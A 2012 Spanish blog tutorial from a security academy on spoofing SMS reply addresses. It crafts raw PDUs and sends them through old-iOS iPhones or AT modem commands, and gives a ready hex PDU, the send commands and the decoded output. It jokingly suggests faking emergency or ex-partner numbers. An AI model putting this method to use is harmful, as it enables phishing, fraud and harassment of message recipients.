Jugando a falsear SMS

Publicado por Pedro C. el 15-10-2012

Much@s quieren falsear el remitente y con ésta entrada, veremos cómo se puede hacer en "cero coma". Sin embargo, emplearemos un iPhone con un iOS "viejuno" como "generador" del mensaje aunque hay muchos servicios gratuitos y de pago que permiten el envío de SMS tipo RAW. Y bueno, para los que han venido a los Cursos de Seguridad del SEPECAM, ya saben que tienen una guía con los comandos AT que lo permiten! Si se leyeran las cosas, otro gallo nos cantaría.

En respuesta a Apple que confia la seguridad de los SMS a los iMessages todo apuntaba a que la vulnerabilidad encontrada sería solucionada en el actual iOS 6.0 el 19 de Septiembre pasado. Como ha sido solventada y todavía queda muuuucha gente con versiones anteriores, emplearemos el módem del iPhone con versiones viejas para enviar SMS falseados, ya que con la actual, no se puede enviar un SMS tipo RAW al módem directamente con la utilidad que vamos a ver. Al final de la entrada, encontraremos otra forma "universal" para la mayoría de móviles.

Lo primero, un poco de teoría :-(

Los SMS son enviados según un estándar de la ETSI (documentos GSM 03.40 y GSM 03.38) y entre otros, pueden ser de hasta 160 caracteres empleando 7 bits. Hay muchas más formas, pero vamos a usar ésta. Hay dos formas de enviar o recibir un SMS: En modo “texto” o “PDU” (Protocol Description Unit). Vamos a usar el modo PDU que nos permite no sólo el "texto" del mensaje, sino especificar un montón de datos como el remitente, centro de servicio, huella de tiempo, etc. y que podremos cambiar a nuestro antojo. Vamos, una caja vacía con campos definidos para completar al igual que los protocolos.

Bueno, tantas veces he dicho lo de leer que para el quiera interpretar un PDU "viejuno" del 2005, puede consultar DreamFabric o emplear el conversor PDU online. Ah! Todavía funcionan y no han cambiado ;-D

Por tanto, necesitamos una herramienta para enviar PDU’s al módem del iPhone. Vamos a emplear sendrawpdu de Pod2g disponible en https://github.com/pod2g/sendrawpdu. Basta con bajarla y compilarla con un Mac OS X 10.6 mínimo, Xcode superior al 4.0 y el iosOpenDev disponible desde el enlace del github. La primera en la frente!!! Quién tiene una manzana cerca? Para el que no pueda, la hemos preparado compilada para IOS < 6.0 en nuestro repositorio maligno.

Para instalarla, basta con copiarla al /usr/bin y darle permisos sudo chmod +x sendrawpdu. Para enviar el pdu, tan sólo tendremos que poner ./sendrawpdu PDU_GENERADO.

Y ahora, para los usuarios de Microsoft© Windows, hay una excelente herramienta llamada PDUspy con la que haremos todo el proceso. No olvidar que las herramientas se usan cuando se conoce lo que hacen!!! Mientras, papel y boli y ya vereis cómo entendeis sin preguntar cualquier campo de la herramienta.

Ejecutaremos la herramienta una vez descomprimida y nos iremos a la pestaña Create. Desmarcaremos SMSC is configured in MS y pondremos en el campo el número SMSC de nuestro proveedor, alguno gratuito (joer, ya teneis la blasa y el vipper) o alguno de coste extra! Escribir en Destination Address (TP-DA) el destinatario y no olvideis 34 (sin el +) de prefijo internacional en caso de España. Marcar la casilla The USER DATA field contains a User Data Header para poder usar nuestro propio UDH (cabecera de datos de usuario) y desmarcar Request a Status Report from SMSC. Escribir en User Data (TP-UD) el texto del mensaje a enviar. Jejeje… sólo 46 caracteres!!! Y el resto hasta 160 son los buenos!!!

Ahora, nos iremos a la pestaña UDH II y marcaremos la casilla Create a reply address field. Pondremos en Use as reply address el número 112 del servicio de Emergencias combinandolo con el campo Type of number Reserved Number, o bien, un servicio de suscripción pr0n (Subscriber number), un número de vuestra ex-pareja (International number), un alfanumérico, un abbreviated number o lo que sea, pero no seais malos!!! A las malas, ponemos un número, tipo “unknow”. En la casilla Numbering Plan ID marcaremos lo que corresponda. Normalmente ISDN/Telephone (E.164/E.163).

Pues ya esta todo hecho, volvemos a la pestaña Create y pulsamos en el botón Create. Tendremos nuestro PDU creado en la pestaña Manual que se abrirá automáticamente para copiar y pegar.

En nuestro caso, el PDU resultante ha sido:

07914306090909F941000B814306193254F600002B06220404812222D0F7B0356D4E4153F8FB6D0699E5EF3628380E93CBED7418D40C128BD32C14
					

Ahora, desde el terminal del iPhone, escribiremos:

./sendrawpdu 07914306090909F941000B814306193254F600002B06220404812222D0F7B0356D4E4153F8FB6D0699E5EF3628380E93CBED7418D40C128BD32C14
					

Y listo, a ver qué dice el usuario... bonita cara de sorpresa!

PDU LENGTH IS 59 BYTES
ADDRESS OF DELIVERING SMSC
	NUMBER IS :	+34609090909
	TYPE OF NR. :	International
	NPI :	ISDN/Telephone (E.164/163)

MESSAGE HEADER FLAGS
	MESSAGE TYPE :	SMS SUBMIT
	REJECT DUPLICATES :	NO
	VALIDITY PERIOD :	NOT PRESENT
	REPLY PATH :	NO
	USER DATA HEADER :	PRESENT
	REQ. STATUS REPORT :	NO
	MSG REFERENCE NR. :	0 (0x00)

DESTINATION ADDRESS
	NUMBER IS :	34609123456
	TYPE OF NR. :	Unknown
	NPI :	ISDN/Telephone (E.164/163)

PROTOCOL IDENTIFIER	(0x00)
	MESSAGE ENTITIES :	SME-to-SME
	PROTOCOL USED :	Implicit / SC-specific

DATA CODING SCHEME	(0x00)
	AUTO-DELETION :	OFF
	COMPRESSION :	OFF
	MESSAGE CLASS :	NONE
	ALPHABET USED :	7bit default

VALIDITY OF MESSAGE :	NONE GIVEN

USER DATA PART OF SM
	USER DATA LENGTH :	43 septets
	UDH LENGTH :	6 octets
	UDH :	22 04 04 81 22 22 
	UDH ELEMENTS :	22 - Reply Address Element
			4 (0x04) Bytes Information Element
				Answer to 2222
	USER DATA (TEXT) :	PoC-SMS Spoof from Academia MADESYP
					

Para los que quieren hacerlo con otros terminales sin mirar nada, lo único que tienen que hacer es acceder al módem del móvil (acordaros del bluetooth en COMx:) o con el propio programa de "gestión" del terminal que normalmente permite acceder a dicho servicio. A las malas, drivers para el Operativo que empleemos y lo usamos de forma tradicional con un terminal...

Los comandos a enviar son (sin los comentarios por supuesto):

AT+CMGF=0	// Entrar en modo PDU
AT+CSMS=0	// Mirar si el modem soporta el envío de SMS
AT+CMGS=bytes	// Enviar el PDU con los bytes especificados sin los 2 ceros iniciales
>00PDU
				

Fácil, no??? Luego confiamos la seguridad de un SMS a... ¿¿¿nadie??? Cuando recibimos un SMS estamos de acuerdo en que viene de quien dice ser, no??? Y si fuera una autenticación de doble factor de una entidad bancaria, donde el "enano" ha comprometido el proceso de transferencias???

Recuerda que en Academia MADESYP nos encontramos impartiendo Cursos especializados en Seguridad Informática donde realizamos y establecemos las contramedidas para las pruebas de concepto con todo ésto y mucho más...

Ser buenos y no hagais maldades!!!